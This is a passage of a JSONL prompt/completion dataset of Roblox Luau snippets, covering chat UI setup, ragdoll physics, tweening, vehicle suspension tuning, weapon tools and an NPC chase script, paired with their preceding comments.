require(modulesFolder:WaitForChild(\"ChatBar\"))\nlocal moduleChannelsBar = require(modulesFolder:WaitForChild(\"ChannelsBar\"))\nlocal moduleMessageLabelCreator = require(modulesFolder:WaitForChild(\"MessageLabelCreator\"))\nlocal moduleMessageLogDisplay = require(modulesFolder:WaitForChild(\"MessageLogDisplay\"))\nlocal moduleChatChannel = require(modulesFolder:WaitForChild(\"ChatChannel\"))\nlocal moduleCommandProcessor = require(modulesFolder:WaitForChild(\"CommandProcessor\"))\n\nlocal ChatWindow = moduleChatWindow.new()\nlocal ChannelsBar = moduleChannelsBar.new()\nlocal MessageLogDisplay = moduleMessageLogDisplay.new()\nlocal CommandProcessor = moduleCommandProcessor.new()\nlocal ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)\n\nChatWindow:CreateGuiObjects(GuiParent)\n\nChatWindow:RegisterChatBar(ChatBar)\nChatWindow:RegisterChannelsBar(ChannelsBar)\nChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)\n\nMessageCreatorUtil:RegisterChatWindow(ChatWindow)\n\nlocal MessageSender = require(modulesFolder:WaitForChild(\"MessageSender\"))\nMessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)\n\n\n"} +{"prompt": "-- else print(\"Didn't hit Target\")", "completion": "\n end\n if makeRays then\n makeRay(CFrame.new(origPos, position)\n * CFrame.new(0, 0, -distance/2), Vector3.new(0.2, 0.2, distance))\n end\n end\n end\n end\n end\n end\n round:remove()\n break\n end\n wait()\nend\nif round then\n\tround:remove()\nend\nscript:remove()\n"} +{"prompt": "-- THIS ISNT TO SETUP AN APP. THIS SETS EVERYTHING READY TO BE OPENED.", "completion": "\n\nscript.Parent.Visible = false\nscript.Parent.GroupTransparency = 1\nscript.Parent.Size = UDim2.new(0.75,0,0.75,0)\n"} +{"prompt": "--------------------------------------------------------------------", "completion": "\n\nlocal NewTorsoToHead0 = Instance.new(\"Attachment\") --Head 0\nNewTorsoToHead0.Position = Vector3.new(0, 1, 0)\nNewTorsoToHead0.Name = \"TorsoToHead0\"\nNewTorsoToHead0.Parent = Torso\n\nlocal NewTorsoToRightArm0 = Instance.new(\"Attachment\") --Right arm 0\nNewTorsoToRightArm0.Position = Vector3.new(1, 0.5, 0)\nNewTorsoToRightArm0.Name = \"TorsoToRightArm0\"\nNewTorsoToRightArm0.Parent = Torso\n\nlocal NewTorsoToRightLeg0 = Instance.new(\"Attachment\") --Right leg 0\nNewTorsoToRightLeg0.Position = Vector3.new(0.5, -1, 0)\nNewTorsoToRightLeg0.Name = \"TorsoToRightArm0\"\nNewTorsoToRightLeg0.Parent = Torso\n\nlocal NewTorsoToLeftArm0 = Instance.new(\"Attachment\") --Left arm 0\nNewTorsoToLeftArm0.Position = Vector3.new(-1, 0.5, 0)\nNewTorsoToLeftArm0.Name = \"TorsoToLeftArm0\"\nNewTorsoToLeftArm0.Parent = Torso\n\nlocal NewTorsoToLeftLeg0 = Instance.new(\"Attachment\") --Left leg 0\nNewTorsoToLeftLeg0.Position = Vector3.new(-0.5, -1, 0)\nNewTorsoToLeftLeg0.Name = \"TorsoToLeftLeg0\"\nNewTorsoToLeftLeg0.Parent = Torso\n\nHumanoid.Died:Connect(function() --Death\n\tlocal function CreateBallSocket(Attachment0, Attachment1, TwistLowerAngle, TwistUpperAngle)\n\t\tlocal BallSocket = Instance.new(\"BallSocketConstraint\")\n\t\tBallSocket.Attachment0 = Attachment0\n\t\tBallSocket.Attachment1 = Attachment1\n\t\tBallSocket.LimitsEnabled = true\n\t\tBallSocket.TwistLimitsEnabled = true\n\t\tBallSocket.TwistLowerAngle = TwistLowerAngle\n\t\tBallSocket.TwistUpperAngle = TwistUpperAngle\n\t\tBallSocket.MaxFrictionTorque = 10\n\t\tBallSocket.Parent = Torso\n\tend\n\tCreateBallSocket(NewTorsoToHead0, NewTorsoToHead1, -45, 45)\n\tCreateBallSocket(NewTorsoToRightArm0, NewTorsoToRightArm1, 45, 0)\n\tCreateBallSocket(NewTorsoToLeftArm0, NewTorsoToLeftArm1, 0, 45)\n\tCreateBallSocket(NewTorsoToRightLeg0, NewTorsoToRightLeg1, -45, 45)\n\tCreateBallSocket(NewTorsoToLeftLeg0, NewTorsoToLeftLeg1, -45, 45)\n\tTorso.Parent.HumanoidRootPart:Destroy()\n\n\tlocal LeftHip = Torso:FindFirstChild(\"Left Hip\")\n\tif LeftHip then\n\t\tLeftHip:Destroy()\n\tend\n\tlocal LeftShoulder = Torso:FindFirstChild(\"Left Shoulder\")\n\tif LeftShoulder then\n\t\tLeftShoulder:Destroy()\n\tend\n\tlocal Neck = Torso:FindFirstChild(\"Neck\")\n\tif Neck then\n\t\tNeck:Destroy()\n\tend\n\tlocal RightShoulder = Torso:FindFirstChild(\"Right Shoulder\")\n\tif RightShoulder then\n\t\tRightShoulder:Destroy()\n\tend\n\tlocal RightHip = Torso:FindFirstChild(\"Right Hip\")\n\tif RightHip then\n\t\tRightHip:Destroy()\n\tend\nend)\n"} +{"prompt": "--[[\n\tAdds a Tween to be updated every render step.\n]]", "completion": "\nfunction TweenScheduler.add(tween: Tween)\n\tallTweens[tween] = true\nend\n"} +{"prompt": "-- ROBLOX deviation: currently unused so we comment out hasIterator\n-- local function hasIterator(object: any): boolean\n-- \t-- technically just the typeof(object) == table check would be sufficient\n-- \t-- but to be more accurate we should return true for all types that can be\n-- \t-- iterated over in Lua (string and table)\n-- \treturn typeof(object) == \"table\" or typeof(object) == \"string\"\n-- end", "completion": "\n\nlocal iterableEquality = RobloxShared.expect.iterableEquality\n"} +{"prompt": "--[[--------------------------------------------------------------------\n-- Instead of passing seminfo, the Token struct (e.g. ls.t) is passed\n-- so that lexer functions can use its table element, ls.t.seminfo\n--\n-- SemInfo (struct no longer needed, a mixed-type value is used)\n--\n-- Token (struct of ls.t and ls.lookahead):\n-- token -- token symbol\n-- seminfo -- semantics information\n--\n-- LexState (struct of ls; ls is initialized by luaX:setinput):\n-- current -- current character (charint)\n-- linenumber -- input line counter\n-- lastline -- line of last token 'consumed'\n-- t -- current token (table: struct Token)\n-- lookahead -- look ahead token (table: struct Token)\n-- fs -- 'FuncState' is private to the parser\n-- L -- LuaState\n-- z -- input stream\n-- buff -- buffer for tokens\n-- source -- current source name\n-- decpoint -- locale decimal point\n-- nestlevel -- level of nested non-terminals\n----------------------------------------------------------------------]]", "completion": "\n"} +{"prompt": "--[[\n\tINPUT: Player killer, Humanoid humanoid, Number time=1\n--]]", "completion": "\nlocal Debris = game:GetService'Debris'\n\nreturn function(player, humanoid, t)\n\tif humanoid == nil then return end\n\tif player == nil then return end\n\tif humanoid:IsA'Player' then player,humanoid = humanoid,player end\n\t\n\tif humanoid:FindFirstChild'creator' then\n\t\thumanoid.creator:Destroy()\n\tend\n\t\n\tlocal tag = Instance.new'ObjectValue'\n\ttag.Name = 'creator'\n\ttag.Value = player\n\ttag.Parent = humanoid\n\t\n\tDebris:AddItem(tag, t or 1)\nend\n"} +{"prompt": "-- Return the result of the callback function\n-- feedbackType: string - The type of feedback (eg. General Feedback, Bugs, etc.)\n-- message: string - The feedback that the user gave", "completion": "\nfunction BeforeSubmit.Invoke(feedbackType, message)\n\treturn callback(feedbackType, message)\nend\n\nreturn BeforeSubmit\n"} +{"prompt": "-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio\n-- These are the IDs of the piano sounds.", "completion": "\n\nsettings.SoundSource = Box\n\nsettings.CameraCFrame = CFrame.new(\n\t(Box.CFrame * CFrame.new(0, 5, 3)).p, -- +z is towards player\n\t(Box.CFrame * CFrame.new(0, 1, 1)).p\n)"} +{"prompt": "--local PLAYER\t= Players.LocalPlayer", "completion": "\n\nreturn function(character)\n\tfor _, v in pairs(character:GetDescendants()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tv.Reflectance = 1\n\t\t\tif v:IsA(\"MeshPart\") then\n\t\t\t\tv.TextureID = \"\"\n\t\t\tend\n\t\t\tscript.SparkleEmitter:Clone().Parent\t= v\n\t\t\t\n\t\t\t--if character == PLAYER.Character then\n\t\t\t\tlocal bodyForce\t\t= Instance.new(\"BodyForce\")\n\t\t\t\t\tbodyForce.Force\t\t= Vector3.new(0, v:GetMass() * Workspace.Gravity * 1.05, 0)\n\t\t\t\t\tbodyForce.Parent\t= v\n\t\t\t--end\n\t\telseif v:IsA(\"Shirt\") then\n\t\t\tv:Destroy()\n\t\telseif v:IsA(\"Pants\") then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[Workspace Variables]]", "completion": "--\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool,'Handle')"} +{"prompt": "--yep", "completion": "\n\nlocal deb = false\nlocal info = TweenInfo.new(tweenTime, easingStyle, easingDirection, repeats, reverse, delayTime)\nlocal function tweenModel(model, CF)\n\tlocal CFrameValue = Instance.new(\"CFrameValue\")\n\tCFrameValue.Value = model:GetPrimaryPartCFrame()\n\n\tCFrameValue:GetPropertyChangedSignal(\"Value\"):Connect(function()\n\t\tmodel:SetPrimaryPartCFrame(CFrameValue.Value)\n\tend)\n\t\n\tlocal tween = tweenService:Create(CFrameValue, info, {Value = CF})\n\ttween:Play()\n\t\n\ttween.Completed:Connect(function()\n\t\tCFrameValue:Destroy()\n\tend)\nend\nwait(0)\ntweenModel(Model, goal1.CFrame)\n"} +{"prompt": "-- Colors", "completion": "\nlocal FriendlyReticleColor = Color3.new(0, 1, 0)\nlocal EnemyReticleColor\t= Color3.new(1, 0, 0)\nlocal NeutralReticleColor\t= Color3.new(1, 1, 1)\n\nlocal Spread = MinSpread\nlocal AmmoInClip = ClipSize\n\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool, 'Handle')\nlocal WeaponGui = nil\nlocal Receiver = WaitForChild(Tool, 'Receiver')\n\nlocal LeftButtonDown\nlocal Reloading = false\nlocal IsShooting = false\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"Torso\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"Torso\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=19;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=500;\nJeffTheKillerHumanoid.JumpPower=0;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "-- ROBLOX deviation: stringContaining shouldn't accept string patterns so we unescape special characters", "completion": "\nlocal function unescape(s: string): string\n\treturn s:gsub(\"%%([%$%%%^%*%(%)%.%[%]%+%-%?])\", \"%1\")\nend\n\nlocal function serialize(\n\tval: any,\n\tconfig: Config,\n\tindentation: string,\n\tdepth: number,\n\trefs: Refs,\n\tprinter: Printer\n): string\n\tlocal stringedValue = val:toString()\n\n\tif stringedValue == \"ArrayContaining\" or stringedValue == \"ArrayNotContaining\" then\n\t\tdepth = depth + 1\n\t\tif depth > config.maxDepth then\n\t\t\treturn \"[\" .. stringedValue .. \"]\"\n\t\tend\n\t\treturn stringedValue\n\t\t\t.. SPACE\n\t\t\t.. \"{\"\n\t\t\t.. printListItems(val.sample, config, indentation, depth, refs, printer)\n\t\t\t.. \"}\"\n\tend\n\n\tif stringedValue == \"ObjectContaining\" or stringedValue == \"ObjectNotContaining\" then\n\t\tdepth = depth + 1\n\t\tif depth > config.maxDepth then\n\t\t\treturn \"[\" .. stringedValue .. \"]\"\n\t\tend\n\t\treturn stringedValue\n\t\t\t.. SPACE\n\t\t\t.. \"{\"\n\t\t\t.. printObjectProperties(val.sample, config, indentation, depth, refs, printer)\n\t\t\t.. \"}\"\n\tend\n\n\tif stringedValue == \"StringMatching\" or stringedValue == \"StringNotMatching\" then\n\t\treturn stringedValue .. SPACE .. printer(val.sample, config, indentation, depth, refs)\n\tend\n\n\tif stringedValue == \"StringContaining\" or stringedValue == \"StringNotContaining\" then\n\t\treturn stringedValue .. SPACE .. printer(unescape(val.sample), config, indentation, depth, refs)\n\tend\n\n\treturn val:toAsymmetricMatcher()\nend\n\nlocal function test(val: any): boolean\n\treturn typeof(val) == \"table\" and val ~= nil and val[\"$$typeof\"] == asymmetricMatcher\nend\n\nreturn {\n\tserialize = serialize,\n\ttest = test,\n}\n"} +{"prompt": "--local tweenStop = TweenService:Create(stop, tweenInfo, {CFrame = model.StartMark.CFrame})", "completion": "\n\n\nlocal function StartOpening()\n\t--model[\"Sound\"]:Play()\n\ttweenStart:Play()\nend\n\n\nlocal function touched(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\tprint(\"touch\")\n\t\t\tplayersNear[player] = 1\n\t\t\t\tStartOpening()\n\t\t\tend\n\t\tend\n\tend\n\ntrigger.Touched:Connect(touched)"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- Sets whether suspension is enabled for PGS\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.RAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n"} +{"prompt": "--Checks player location to see if they have already been there", "completion": "\n"} +{"prompt": "--[[ Use the following script to program your on/off switch to do stuff. This can mean opening and closing a door, turning on and off lights, anything!\nJust put what you want the button to do while on/off below.]]", "completion": "\n\nRoom = script.Parent\n\nfunction on() --Type below what you want the button to do while it is on.\nRoom.L1.SpotLight.Enabled = true\nend\n\nfunction off() --Type below what you want the button to do while it is off.\nRoom.L1.SpotLight.Enabled = false\nend\n"} +{"prompt": "-- pitch-axis rotational velocity of a part with a given CFrame and total RotVelocity", "completion": "\nlocal function pitchVelocity(rotVel, cf)\n\treturn math.abs(cf.XVector:Dot(rotVel))\nend\n"} +{"prompt": "-- Visualizes a ray. This will not run if FastCast.VisualizeCasts is false.", "completion": "\nfunction DbgVisualizeSegment(castStartCFrame: CFrame, castLength: number): ConeHandleAdornment?\n\tif FastCast.VisualizeCasts ~= true then return nil end\n\tlocal adornment = Instance.new(\"ConeHandleAdornment\")\n\tadornment.Adornee = workspace.Terrain\n\tadornment.CFrame = castStartCFrame\n\tadornment.Height = castLength\n\tadornment.Color3 = Color3.new()\n\tadornment.Radius = 0.25\n\tadornment.Transparency = 0.5\n\tadornment.Parent = GetFastCastVisualizationContainer()\n\treturn adornment\nend\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\nlocal slash_damage = 10\nlocal lunge_damage = 10\n\n\nsword = script.Parent.Handle\nTool = script.Parent\n\nlocal explozion =Instance.new(\"Explosion\")\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = 